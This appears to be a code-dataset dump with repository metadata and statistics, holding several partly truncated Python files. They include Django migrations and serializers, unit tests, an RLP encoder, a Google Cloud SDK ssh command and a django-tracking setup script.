] | null | null | null | django_discount/migrations/0003_auto_20201202_0203.py | Execut3/django-discount | 36dd54d7e77f804500bfda38fc2f1c398bdc5e38 | [
"Apache-2.0"
] | 2 | 2021-02-26T07:23:45.000Z | 2021-03-03T01:19:34.000Z | django_discount/migrations/0003_auto_20201202_0203.py | Execut3/django-discount | 36dd54d7e77f804500bfda38fc2f1c398bdc5e38 | [
"Apache-2.0"
] | null | null | null | # Generated by Django 2.2.5 on 2020-12-02 02:03
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('django_discount', '0002_... | 43.378378 | 449 | 0.676636 | 198 | 1,605 | 5.338384 | 0.469697 | 0.030274 | 0.039735 | 0.062441 | 0.304636 | 0.249763 | 0.172185 | 0.172185 | 0.090823 | 0 | 0 | 0.026464 | 0.223053 | 1,605 | 36 | 450 | 44.583333 | 0.821171 | 0.028037 | 0 | 0.4 | 1 | 0.033333 | 0.266367 | 0.014763 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.1 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e95bedbdfecec92cfac202dd7cd6ff724ffd6279 | 1,020 | py | Python | tests/test_conversion.py | karol-sw/FXPHelper | 5759be016b6794cd50698e6624025fef792a7aad | [
"MIT"
] | null | null | null | tests/test_conversion.py | karol-sw/FXPHelper | 5759be016b6794cd50698e6624025fef792a7aad | [
"MIT"
] | null | null | null | tests/test_conversion.py | karol-sw/FXPHelper | 5759be016b6794cd50698e6624025fef792a7aad | [
"MIT"
] | null | null | null | import unittest
from fxphelper import *
C_TEST_PRECISION = 5
class TestConversion(unittest.TestCase):
def test_conv_unsigned_int(self):
x = 3
y = FXPQNumber(0,5,0, float_value = x)
self.assertAlmostEqual(y.to_float(), x, C_TEST_PRECISION)
def test_conv_signed_int(self):
x = -... | 26.842105 | 67 | 0.646078 | 150 | 1,020 | 4.086667 | 0.246667 | 0.04894 | 0.137031 | 0.220228 | 0.655791 | 0.655791 | 0.541599 | 0.466558 | 0.466558 | 0.466558 | 0 | 0.037275 | 0.237255 | 1,020 | 37 | 68 | 27.567568 | 0.750643 | 0 | 0 | 0.153846 | 0 | 0 | 0.007843 | 0 | 0 | 0 | 0 | 0 | 0.192308 | 1 | 0.192308 | false | 0 | 0.076923 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e95de84131d8fea9cc780de427cd51ac8bd03497 | 454 | py | Python | meiduo/meiduo/apps/meiduo_admin/serializers/group_permission_serializer.py | Archer1314/MeiDuo_store | 50825e82aca3b82cd5354cd8a77d793cf32cfbcf | [
"MIT"
] | null | null | null | meiduo/meiduo/apps/meiduo_admin/serializers/group_permission_serializer.py | Archer1314/MeiDuo_store | 50825e82aca3b82cd5354cd8a77d793cf32cfbcf | [
"MIT"
] | null | null | null | meiduo/meiduo/apps/meiduo_admin/serializers/group_permission_serializer.py | Archer1314/MeiDuo_store | 50825e82aca3b82cd5354cd8a77d793cf32cfbcf | [
"MIT"
] | null | null | null | from rest_framework import serializers
from django.contrib.auth.models import Permission, ContentType, Group
class GroupPermissionModelSerializer(serializers.ModelSerializer):
class Meta:
model = Group
fields = '__all__'
class PermissionSimpleSerializer(serializers.ModelSerializer):
content_... | 23.894737 | 69 | 0.73348 | 41 | 454 | 7.95122 | 0.609756 | 0.159509 | 0.08589 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.189427 | 454 | 18 | 70 | 25.222222 | 0.88587 | 0 | 0 | 0.181818 | 0 | 0 | 0.05531 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.181818 | 0 | 0.636364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
e9634ec49a45f6aff7893b76d7777fdc30c44c01 | 1,241 | py | Python | rpcb/message_dispatch.py | kouyt5/rabbit-rpc-batch | f5f30b3da1c7de004206bfe9de0446ff61bada35 | [
"MIT"
] | null | null | null | rpcb/message_dispatch.py | kouyt5/rabbit-rpc-batch | f5f30b3da1c7de004206bfe9de0446ff61bada35 | [
"MIT"
] | null | null | null | rpcb/message_dispatch.py | kouyt5/rabbit-rpc-batch | f5f30b3da1c7de004206bfe9de0446ff61bada35 | [
"MIT"
] | null | null | null |
from abc import ABCMeta, abstractmethod
from typing import List
from rpcb.service import Service
import pika
class MessageDispatch(metaclass=ABCMeta):
def __init__(self, callback) -> None:
"""
:params
callback: 回调函数,用于消息后处理
"""
self.callback = callback
@abstrac... | 25.326531 | 104 | 0.659146 | 125 | 1,241 | 6.224 | 0.392 | 0.061697 | 0.042416 | 0.048843 | 0.197943 | 0.197943 | 0.197943 | 0.197943 | 0.197943 | 0.197943 | 0 | 0 | 0.236906 | 1,241 | 49 | 105 | 25.326531 | 0.821542 | 0.04996 | 0 | 0.08 | 0 | 0 | 0.00722 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.24 | false | 0.04 | 0.16 | 0.04 | 0.56 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e963c3b078033069930ebf7e8bb634196a532067 | 305 | py | Python | utils.py | cilt-uct/VAD-python | 6ae3bfda28ff92aee9e946fd7d2fbaca5993a120 | [
"MIT"
] | null | null | null | utils.py | cilt-uct/VAD-python | 6ae3bfda28ff92aee9e946fd7d2fbaca5993a120 | [
"MIT"
] | null | null | null | utils.py | cilt-uct/VAD-python | 6ae3bfda28ff92aee9e946fd7d2fbaca5993a120 | [
"MIT"
] | null | null | null | import os
def check_or_create_tmp_folder():
directory = "temp"
if not os.path.exists(directory):
os.makedirs(directory)
def clean_up_if_required(temp_audio):
head, tail = os.path.split(temp_audio)
if head == "temp" and os.path.isfile(temp_audio):
os.remove(temp_audio)
| 21.785714 | 53 | 0.688525 | 46 | 305 | 4.326087 | 0.543478 | 0.180905 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.196721 | 305 | 13 | 54 | 23.461538 | 0.812245 | 0 | 0 | 0 | 0 | 0 | 0.02623 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.111111 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e9683df18fa84c49d7c7891e30852cd069e1ac12 | 748 | py | Python | euler44.py | dchourasia/euler-solutions | e20cbf016a9ea601fcce928d9690930c9a498837 | [
"Apache-2.0"
] | null | null | null | euler44.py | dchourasia/euler-solutions | e20cbf016a9ea601fcce928d9690930c9a498837 | [
"Apache-2.0"
] | null | null | null | euler44.py | dchourasia/euler-solutions | e20cbf016a9ea601fcce928d9690930c9a498837 | [
"Apache-2.0"
] | null | null | null | '''
Pentagonal numbers are generated by the formula, Pn=n(3n−1)/2. The first ten pentagonal numbers are:
Find the pair of pentagonal numbers, Pj and Pk, for which their sum and difference are pentagonal and D = |Pk − Pj| is minimised; what is the value of D?
'''
size=4000
pent = [int(n*(3*n-1)/2) for n in range(1, si... | 25.793103 | 153 | 0.639037 | 153 | 748 | 3.137255 | 0.372549 | 0.0375 | 0.058333 | 0.05 | 0.06875 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045455 | 0.205882 | 748 | 29 | 154 | 25.793103 | 0.759259 | 0.569519 | 0 | 0 | 1 | 0 | 0.015723 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.076923 | 0 | 0.076923 | 0.153846 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e969e4090b6b74c860c867df4edf5b0e21857e0f | 1,378 | py | Python | lib/compta/cli/banque.py | micmc/compta | cbbdc8372e34291945f13a620f94bcf34ca7f943 | [
"MIT"
] | null | null | null | lib/compta/cli/banque.py | micmc/compta | cbbdc8372e34291945f13a620f94bcf34ca7f943 | [
"MIT"
] | null | null | null | lib/compta/cli/banque.py | micmc/compta | cbbdc8372e34291945f13a620f94bcf34ca7f943 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf8 -*-
""" Module to manage banque """
#from simplejson.scanner import JSONDecodeError
from compta.db.banque import Banque as DBBanque
from compta.cli.argparser import ParseArgs
from compta.cli.http_server import RequestServer
from compta.cli.server import Server
class Banque(Server... | 28.708333 | 70 | 0.49492 | 133 | 1,378 | 4.947368 | 0.466165 | 0.015198 | 0.018237 | 0.018237 | 0.009119 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001205 | 0.397678 | 1,378 | 47 | 71 | 29.319149 | 0.791566 | 0.060232 | 0 | 0 | 0 | 0 | 0.070361 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.142857 | null | null | 0.071429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e973ad37015fe89d91a98ecaf3cd2c8ee2c413f8 | 367 | py | Python | vstutils/management/commands/dockermigrate.py | vstconsulting/vstutils | 0e7c50ba1e46dd705fe1239da783830422cb7aee | [
"Apache-2.0"
] | 36 | 2018-05-29T22:55:45.000Z | 2021-11-18T22:59:29.000Z | vstutils/management/commands/dockermigrate.py | vstconsulting/vstutils | 0e7c50ba1e46dd705fe1239da783830422cb7aee | [
"Apache-2.0"
] | 19 | 2020-03-05T01:31:52.000Z | 2022-01-21T08:22:19.000Z | vstutils/management/commands/dockermigrate.py | vstconsulting/vstutils | 0e7c50ba1e46dd705fe1239da783830422cb7aee | [
"Apache-2.0"
] | 10 | 2018-07-30T10:14:30.000Z | 2022-01-08T12:07:20.000Z | import sys
from ._base import DockerCommand
class Command(DockerCommand):
interactive = True
help = "Run migration in docker container."
def handle(self, *args, **options):
super().handle(*args, **options)
success, error = self.migrate(options)
if not success:
self._... | 21.588235 | 47 | 0.618529 | 41 | 367 | 5.487805 | 0.707317 | 0.097778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007463 | 0.269755 | 367 | 16 | 48 | 22.9375 | 0.83209 | 0 | 0 | 0 | 0 | 0 | 0.106267 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.181818 | 0 | 0.545455 | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
e97613c4a0fbd3b9dde957408f58a45ff5563364 | 2,824 | py | Python | core/connection_handler.py | jeff-alves/Tera | 2d45c1c38defaef71fbfc3e2081d9b5468938e40 | [
"MIT"
] | 1 | 2016-09-30T14:54:55.000Z | 2016-09-30T14:54:55.000Z | core/connection_handler.py | jeff-alves/Tera | 2d45c1c38defaef71fbfc3e2081d9b5468938e40 | [
"MIT"
] | null | null | null | core/connection_handler.py | jeff-alves/Tera | 2d45c1c38defaef71fbfc3e2081d9b5468938e40 | [
"MIT"
] | null | null | null | from Queue import Queue
from threading import Thread
from crypt.session import Session
from game.services.hot_dot_database import HotDotDatabase
from game.services.npc_database import NpcDatabase
from game.services.server_database import ServerDatabase
from game.services.skill_database import SkillDatabase
fro... | 42.149254 | 154 | 0.613314 | 357 | 2,824 | 4.694678 | 0.232493 | 0.098449 | 0.116348 | 0.162888 | 0.424821 | 0.337709 | 0.2321 | 0.2321 | 0.2321 | 0.214797 | 0 | 0.006833 | 0.274433 | 2,824 | 66 | 155 | 42.787879 | 0.811127 | 0.009561 | 0 | 0.210526 | 0 | 0 | 0.03633 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0 | 0.175439 | 0 | 0.245614 | 0.035088 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e985afbd3847dc241b0833dae49ea6f4d9dbf70f | 2,883 | py | Python | mapscript/python/tests/timing/drawshapes.py | sbrunner/mapserver | dca4eb117f1673dc06a3386159e3ed640af8e007 | [
"Unlicense"
] | 2 | 2020-02-24T18:30:25.000Z | 2021-06-02T14:55:09.000Z | mapscript/python/tests/timing/drawshapes.py | sbrunner/mapserver | dca4eb117f1673dc06a3386159e3ed640af8e007 | [
"Unlicense"
] | 6 | 2018-08-17T13:03:30.000Z | 2018-08-17T13:26:31.000Z | mapscript/python/tests/timing/drawshapes.py | sbrunner/mapserver | dca4eb117f1673dc06a3386159e3ed640af8e007 | [
"Unlicense"
] | 1 | 2021-01-07T16:27:16.000Z | 2021-01-07T16:27:16.000Z | # $Id$
#
# Timing tests of feature drawing -- map.draw vs drawing features
# shape by shape.
import getopt
import os
import sys
import timeit
from random import random
from testing import mapscript
# Get Number of shapes from the command line
try:
opts, args = getopt.getopt(sys.argv[1:], 'n:')
except getopt.Getop... | 25.289474 | 78 | 0.63094 | 416 | 2,883 | 4.329327 | 0.326923 | 0.013326 | 0.035536 | 0.026652 | 0.322043 | 0.26985 | 0.258745 | 0.227096 | 0.227096 | 0.227096 | 0 | 0.036454 | 0.162678 | 2,883 | 113 | 79 | 25.513274 | 0.709611 | 0.255636 | 0 | 0.352113 | 0 | 0 | 0.252354 | 0.01177 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.042254 | 0.126761 | null | null | 0.098592 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e986d96146302b42d7e0551f8a9178122876d5b9 | 2,302 | py | Python | route_distances/staticmaps.py | urbaninformaticsandresiliencelab/route_distances | 13db2ab17b08fe2eebab2b37043a6ae7328a140c | [
"MIT"
] | null | null | null | route_distances/staticmaps.py | urbaninformaticsandresiliencelab/route_distances | 13db2ab17b08fe2eebab2b37043a6ae7328a140c | [
"MIT"
] | null | null | null | route_distances/staticmaps.py | urbaninformaticsandresiliencelab/route_distances | 13db2ab17b08fe2eebab2b37043a6ae7328a140c | [
"MIT"
] | 1 | 2021-12-03T21:26:42.000Z | 2021-12-03T21:26:42.000Z | #!/usr/bin/env python3
# Small library for generating URLs of visualizations
class Constructor(object):
""" Constructs Google Static Maps API URLs
Constructs requests for the Google Static Maps API by storing substrings of
the overall URL which are created by the add_coords function. The
generate_url ... | 35.96875 | 108 | 0.626846 | 290 | 2,302 | 4.903448 | 0.468966 | 0.04571 | 0.027426 | 0.026723 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018972 | 0.290182 | 2,302 | 63 | 109 | 36.539683 | 0.851285 | 0.541268 | 0 | 0.117647 | 0 | 0 | 0.225844 | 0.105937 | 0 | 0 | 0.023283 | 0 | 0 | 1 | 0.235294 | false | 0 | 0 | 0 | 0.352941 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e98f8d2c47ebd7940cb52510b362ef2fc59fdb94 | 4,941 | py | Python | lib/googlecloudsdk/compute/subcommands/ssh.py | IsaacHuang/google-cloud-sdk | 52afa5d1a75dff08f4f5380c5cccc015bf796ca5 | [
"Apache-2.0"
] | null | null | null | lib/googlecloudsdk/compute/subcommands/ssh.py | IsaacHuang/google-cloud-sdk | 52afa5d1a75dff08f4f5380c5cccc015bf796ca5 | [
"Apache-2.0"
] | null | null | null | lib/googlecloudsdk/compute/subcommands/ssh.py | IsaacHuang/google-cloud-sdk | 52afa5d1a75dff08f4f5380c5cccc015bf796ca5 | [
"Apache-2.0"
] | 2 | 2020-07-25T05:03:06.000Z | 2020-11-04T04:55:57.000Z | # Copyright 2014 Google Inc. All Rights Reserved.
"""Implements the command for SSHing into an instance."""
import getpass
from googlecloudsdk.calliope import exceptions
from googlecloudsdk.compute.lib import ssh_utils
from googlecloudsdk.compute.lib import utils
class SSH(ssh_utils.BaseSSHCLICommand):
"""SSH int... | 33.842466 | 110 | 0.644606 | 634 | 4,941 | 4.940063 | 0.301262 | 0.029055 | 0.041507 | 0.023946 | 0.221903 | 0.163793 | 0.091954 | 0.047254 | 0 | 0 | 0 | 0.013261 | 0.252176 | 4,941 | 145 | 111 | 34.075862 | 0.834371 | 0.063145 | 0 | 0.119266 | 0 | 0.027523 | 0.513543 | 0.004984 | 0 | 0 | 0 | 0 | 0 | 1 | 0.018349 | false | 0.055046 | 0.036697 | 0 | 0.06422 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
e99a2b8de042d22b71fbc8ee9dae2129e4e5db6e | 2,334 | py | Python | sync-eth-mainnet-master/rlp.py | counterfactual/research | f6ed10464725bc3b076d22d4676d909943e69f5d | [
"MIT"
] | 11 | 2018-08-09T01:06:36.000Z | 2021-07-02T05:51:12.000Z | sync-eth-mainnet-master/rlp.py | counterfactual/research | f6ed10464725bc3b076d22d4676d909943e69f5d | [
"MIT"
] | 2 | 2021-03-09T07:54:10.000Z | 2021-05-09T03:22:27.000Z | sync-eth-mainnet-master/rlp.py | counterfactual/research | f6ed10464725bc3b076d22d4676d909943e69f5d | [
"MIT"
] | null | null | null | def byte(n):
return bytes([n])
def rlp_encode_bytes(x):
if len(x) == 1 and x < b'\x80':
# For a single byte whose value is in the [0x00, 0x7f] range,
# that byte is its own RLP encoding.
return x
elif len(x) < 56:
# Otherwise, if a string is 0-55 bytes long, the RLP encoding
# consists of a s... | 40.241379 | 74 | 0.670094 | 400 | 2,334 | 3.8675 | 0.245 | 0.051713 | 0.058824 | 0.054299 | 0.531997 | 0.477699 | 0.477699 | 0.446671 | 0.446671 | 0.371041 | 0 | 0.045251 | 0.233076 | 2,334 | 57 | 75 | 40.947368 | 0.818994 | 0.586118 | 0 | 0.107143 | 0 | 0 | 0.049947 | 0 | 0 | 0 | 0.017003 | 0 | 0.071429 | 1 | 0.178571 | false | 0 | 0 | 0.071429 | 0.535714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
e9a54a5da10a979411c595a08456b399e08a1c7a | 7,389 | py | Python | pubsub/synth.py | dgorelik/google-cloud-python | 26de36df3f42b1b514e8c0d839f3cc2d34ee30a3 | [
"Apache-2.0"
] | null | null | null | pubsub/synth.py | dgorelik/google-cloud-python | 26de36df3f42b1b514e8c0d839f3cc2d34ee30a3 | [
"Apache-2.0"
] | null | null | null | pubsub/synth.py | dgorelik/google-cloud-python | 26de36df3f42b1b514e8c0d839f3cc2d34ee30a3 | [
"Apache-2.0"
] | null | null | null | # Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... | 33.739726 | 89 | 0.629585 | 931 | 7,389 | 4.835661 | 0.336198 | 0.031986 | 0.052865 | 0.059085 | 0.303421 | 0.273434 | 0.235451 | 0.206575 | 0.199023 | 0.177699 | 0 | 0.015843 | 0.222628 | 7,389 | 218 | 90 | 33.894495 | 0.767932 | 0.155501 | 0 | 0.20155 | 0 | 0.007752 | 0.741988 | 0.284951 | 0 | 0 | 0 | 0.004587 | 0 | 1 | 0 | false | 0 | 0.116279 | 0 | 0.116279 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e9a5b0d90106f22a96abde41673114bc9b78df37 | 6,604 | py | Python | shared/utils/models/slugs.py | sha-red/django-shared-utils | 88059b53a10fdce960442fcfd7470fded4cabb19 | [
"MIT"
] | null | null | null | shared/utils/models/slugs.py | sha-red/django-shared-utils | 88059b53a10fdce960442fcfd7470fded4cabb19 | [
"MIT"
] | null | null | null | shared/utils/models/slugs.py | sha-red/django-shared-utils | 88059b53a10fdce960442fcfd7470fded4cabb19 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.conf import settings
from django.core import validators
from django.db import models
from django.db.models import fields as django_fields
from django.db.models.signals import pre_save, post_save
from django.dispatch import receiver
from django... | 37.101124 | 148 | 0.655815 | 817 | 6,604 | 5.117503 | 0.337821 | 0.030615 | 0.019134 | 0.00861 | 0.070318 | 0.060751 | 0.047835 | 0.047835 | 0.020569 | 0 | 0 | 0.002436 | 0.254088 | 6,604 | 177 | 149 | 37.310734 | 0.846326 | 0.262114 | 0 | 0.087379 | 0 | 0 | 0.079003 | 0 | 0 | 0 | 0 | 0.011299 | 0 | 1 | 0.106796 | false | 0.009709 | 0.126214 | 0.019417 | 0.378641 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e9b6695f535928f9afc5c7ff75beaa62c72b281a | 2,975 | py | Python | tests/nlu_core_tests/component_tests/seq2seq/marian_tests.py | UPbook-innovations/nlu | 2ae02ce7b6ca163f47271e98b71de109d38adefe | [
"Apache-2.0"
] | 1 | 2021-05-01T01:23:18.000Z | 2021-05-01T01:23:18.000Z | tests/nlu_core_tests/component_tests/seq2seq/marian_tests.py | sheerinZ/nlu | a223eee4b077a6b832f47e5e6125167fe0922687 | [
"Apache-2.0"
] | 2 | 2021-09-28T05:55:05.000Z | 2022-02-26T11:16:21.000Z | tests/nlu_core_tests/component_tests/seq2seq/marian_tests.py | atdavidpark/nlu | 619d07299e993323d83086c86506db71e2a139a9 | [
"Apache-2.0"
] | 1 | 2021-09-13T10:06:20.000Z | 2021-09-13T10:06:20.000Z |
import unittest
from nlu import *
class TestMarian(unittest.TestCase):
# GENERATE NAME SPACE ENTRIES PROGRAMMATICLY?!??
def test_marian_en_to_de(self):
pipe = nlu.load('en.translate_to.de',verbose=True)
print('QQP')
# pipe.print_info()
# pipe['t5'].setTask('Answer the question')
... | 44.402985 | 433 | 0.656471 | 409 | 2,975 | 4.687042 | 0.422983 | 0.032864 | 0.043818 | 0.023474 | 0.376109 | 0.347418 | 0.347418 | 0.320292 | 0.320292 | 0.320292 | 0 | 0.001334 | 0.244034 | 2,975 | 66 | 434 | 45.075758 | 0.851045 | 0.096134 | 0 | 0.390244 | 1 | 0.097561 | 0.546746 | 0.009349 | 0 | 0 | 0 | 0 | 0 | 1 | 0.097561 | false | 0 | 0.04878 | 0 | 0.170732 | 0.317073 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e9b7a956ff3934e65e8b3155feceec2aa63589b9 | 631 | py | Python | openverse_api/catalog/api/migrations/0025_auto_20200429_1401.py | ritesh-pandey/openverse-api | 7456e9ec4dd45800d5527039e466aa50991b3812 | [
"MIT"
] | 122 | 2018-09-12T13:49:37.000Z | 2021-12-05T07:04:59.000Z | cccatalog-api/cccatalog/api/migrations/0025_auto_20200429_1401.py | senyor/cccatalog-api | a18f75fccdd7345beff820dff4ee69604cd53748 | [
"MIT"
] | 500 | 2018-04-30T15:26:43.000Z | 2021-06-07T16:28:44.000Z | cccatalog-api/cccatalog/api/migrations/0025_auto_20200429_1401.py | senyor/cccatalog-api | a18f75fccdd7345beff820dff4ee69604cd53748 | [
"MIT"
] | 144 | 2018-08-11T17:11:50.000Z | 2022-01-12T20:39:09.000Z | # Generated by Django 2.2.10 on 2020-04-29 14:01
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('api', '0024_auto_20200423_1601'),
]
operations = [
migrations.AlterField(
model_name='imagereport',
name='status',
... | 28.681818 | 220 | 0.616482 | 64 | 631 | 5.890625 | 0.71875 | 0.103448 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.070833 | 0.239303 | 631 | 21 | 221 | 30.047619 | 0.714583 | 0.0729 | 0 | 0.133333 | 1 | 0 | 0.274443 | 0.039451 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.066667 | 0 | 0.266667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e9bd32649dc10648ff3ae17b0db5bf595a3a7cac | 1,387 | py | Python | setup.py | ceys/django-tracking | e95de30b09cb208e1487e064d91ce8070b01d308 | [
"MIT"
] | 112 | 2015-08-12T19:22:35.000Z | 2022-02-04T13:21:43.000Z | setup.py | Bunch/django-tracking | 2204c165acb6df6d9676a6ab5330348fbdfe1ab8 | [
"MIT"
] | 17 | 2015-09-18T06:05:38.000Z | 2020-07-04T17:43:41.000Z | setup.py | Bunch/django-tracking | 2204c165acb6df6d9676a6ab5330348fbdfe1ab8 | [
"MIT"
] | 53 | 2015-08-12T19:19:50.000Z | 2021-10-18T11:48:49.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from setuptools import setup, find_packages
import sys, os
import tracking
setup(
name='django-tracking',
version=tracking.get_version(),
description="Basic visitor tracking and blacklisting for Django",
long_description=open('README.rst', 'r').read(),
... | 34.675 | 76 | 0.630858 | 137 | 1,387 | 6.328467 | 0.671533 | 0.048443 | 0.036909 | 0.046136 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001871 | 0.229272 | 1,387 | 39 | 77 | 35.564103 | 0.809167 | 0.030281 | 0 | 0 | 0 | 0 | 0.565897 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.085714 | 0 | 0.085714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
